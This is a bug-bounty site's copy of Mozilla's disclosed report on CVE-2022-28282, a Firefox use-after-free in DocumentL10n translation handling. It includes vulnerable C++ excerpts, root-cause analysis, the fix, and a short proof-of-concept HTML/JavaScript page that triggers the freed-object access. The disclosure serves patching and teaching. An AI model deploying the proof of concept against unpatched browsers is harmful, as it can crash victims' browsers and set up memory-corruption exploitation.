Skip to content
Memory corruption Disclosed report Advanced CVE-2022-28282

heap-use-after-free in DocumentL10n::TranslateDocument

A use-after-free occurs in Firefox's DocumentL10n code when a localization link is added and a JavaScript getter on Object.prototype intercepts a promise resolution, allowing the DocumentL10n object to be freed while still in use. An attacker could trigger a crash and potentially exploit the freed memory.

Kirin Follow

Originally disclosed on Mozilla

  • Fixed in 33 days
  • Paid in 37 days
  • Disclosed after 33 days

Created attachment 9260300 asan.log

heap-use-after-free in DocumentL10n::TranslateDocument

VERSION

Firefox 97 Nightly Build

VULNERABILITY DETAILS

void Document::LocalizationLinkAdded(Element* aLinkElement) {
  if (!AllowsL10n()) {
    return;
  }
......
......
  if (!mDocumentL10n) {
    Element* elem = GetDocumentElement();
    MOZ_DIAGNOSTIC_ASSERT(elem);

    bool isSync = elem->HasAttr(nsGkAtoms::datal10nsync);
    mDocumentL10n = DocumentL10n::Create(this, isSync);
    ......
  }

  mDocumentL10n->AddResourceId(NS_ConvertUTF16toUTF8(href));

  if (mReadyState >= READYSTATE_INTERACTIVE) {
    mDocumentL10n->TriggerInitialTranslation(); // **** 1 ****
  } else {
......
......
  }
}

void DocumentL10n::TriggerInitialTranslation() {

  ······
  ······
  nsTArray<RefPtr<Promise>> promises;

  ErrorResult rv;
  promises.AppendElement(TranslateDocument(rv));
  if (NS_WARN_IF(rv.Failed())) {
    InitialTranslationCompleted(false);
    mReady->MaybeRejectWithUndefined();
    return;
  }
  promises.AppendElement(TranslateRoots(rv));   // **** 2 ****
  Element* documentElement = mDocument->GetDocumentElement(); // // **** 3 ****
  ......
  ......
}

When an HTMLLinkElement(with rel="localization") is added to the document, the document will create a DocumentL10n and trigger TriggerInitialTranslation. In the path from (1) in Document::LocalizationLinkAdded to (2) in DocumentL10n::TriggerInitialTranslation, only the document hold the reference of DocumentL10n in mDocumentL10n. In TranslateRoots(2), the function will use a Promise to resolve ErrorResult rv. If we define the Getter of "then" in Object's prototype before, Promise->resolve will trigger user's JS callback in TranslateRoots(2). And we can set HTMLLinkElement's rel to null to trigger Document::LocalizationLinkRemoved. It will set mDocumentL10n to nullptr and remove the reference of DocumentL10n, then we can destroy the object in gc. When the program return to TriggerInitialTranslation, it will lead to a Use-After-Free in (3)(with accessing the member variable: mDocument).

REPRODUCTION CASE

I write a testcase to verify this vulnerability:

poc.html:

<html data-l10n-sync>
<body>
<script type="text/javascript" >
forceGC = () => {
   FuzzingFunctions.garbageCollect();
   FuzzingFunctions.cycleCollect();
   // Without enable Fuzzing:
   // new ArrayBuffer(0xfffffff);
   // alert(1);
}
var link = document.body.appendChild(document.createElement("link"));
Object.prototype.__defineGetter__("then", function() {
    link.rel = "";
    forceGC();
})
function run(){
    link.rel = "localization";
}
setTimeout(run,1000);
</script>
</body>
</html>

ASAN LOG

asan.log in attachment.

( It seems like that the ASAN in MacOS doesn't work well, it can't recognize the heap-use-after-free in my computer. The Use-After-Free can be verified by rdi: 0xe5e5e5e5e5e5e5e5. )

Suggestion

Hold the reference of DocumentL10n before DocumentL10n::TriggerInitialTranslation.

CREDIT INFORMATION

Kirin of Tencent Security Xuanwu Lab.

The original report as published on Mozilla's Bugzilla, by Kirin. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the DocumentL10n object is only kept alive by the document's mDocumentL10n pointer, and a JavaScript callback triggered during promise resolution can remove that pointer and free the object before TriggerInitialTranslation finishes using it.

Impact

The use-after-free could crash the browser and may allow memory corruption that an attacker could exploit, though the reporter notes ASAN did not reliably detect it on their machine.

What the attacker needed

Victim loads a malicious page; JavaScript enabled

The fix

The DocumentL10n reference should be held before calling DocumentL10n::TriggerInitialTranslation.

How it was found

  1. Create an HTML document with the data-l10n-sync attribute.
  2. Define a getter for 'then' on Object.prototype that clears the link's rel attribute and forces garbage collection.
  3. Append a link element to the body and set its rel to 'localization' after a delay.
  4. The getter runs during promise resolution, the DocumentL10n is freed, and the subsequent access causes a use-after-free.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web page adds a special link for translations, Firefox creates an object to manage that translation. The page can run JavaScript that runs at an unexpected moment and causes that object to be deleted while Firefox is still using it, which is called a use-after-free. This can crash the browser and, in the worst case, let an attacker run their own code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Kirin

View all

2 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.